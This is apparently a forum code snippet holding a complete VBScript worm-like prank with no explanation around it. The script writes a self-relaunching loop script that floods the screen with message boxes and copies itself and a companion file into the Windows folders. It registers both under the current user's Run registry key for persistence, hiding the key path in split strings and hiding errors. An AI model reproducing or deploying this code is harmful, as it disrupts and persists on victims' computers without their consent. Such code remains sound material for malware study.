CODE: [Copy to clipboard]
set ws=createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")
on error resume next
a="HKEY_CURRE"
b="NT_USER\Softw"
c="are\Microsoft\Win"
d="dows\C"
e="urrentVersion\Run\5174"
f="C:\WINDOWS\"
g="system\"
h="5174.vbs"
if fso.fileexists("C:\WINDOWS\5174.vbs")=false then
set cr=fso.createtextfile("5174.vbs")
cr.write "do"&chr(13)&chr(10)&_
"set ws=createobject("&chr(34)&"wscript.shell"&chr(34)&")"&chr(13)&chr(10)&_
"ws.run "&chr(34)&h&chr(34)&chr(13)&chr(10)&_
"msgbox "&chr(34)&"阿晓,我好脆弱,快点解决我吧 ^^"&chr(34)&chr(44)&chr(44)&chr(34)&"洪水泛滥啦!"&chr(34)&chr(13)&chr(10)&_
"loop"
cr.close
fso.movefile "5174.vbs",f
fso.copyfile "23.vbs",f&g
end if
ws.regdelete a&b&c&d&e
ws.regwrite a&b&c&d&e,f&h
ws.regwrite a&b&c&d&"urrentVersion\Run\23",f&g&"23.vbs"
set ws=nothing
set fso=nothing
[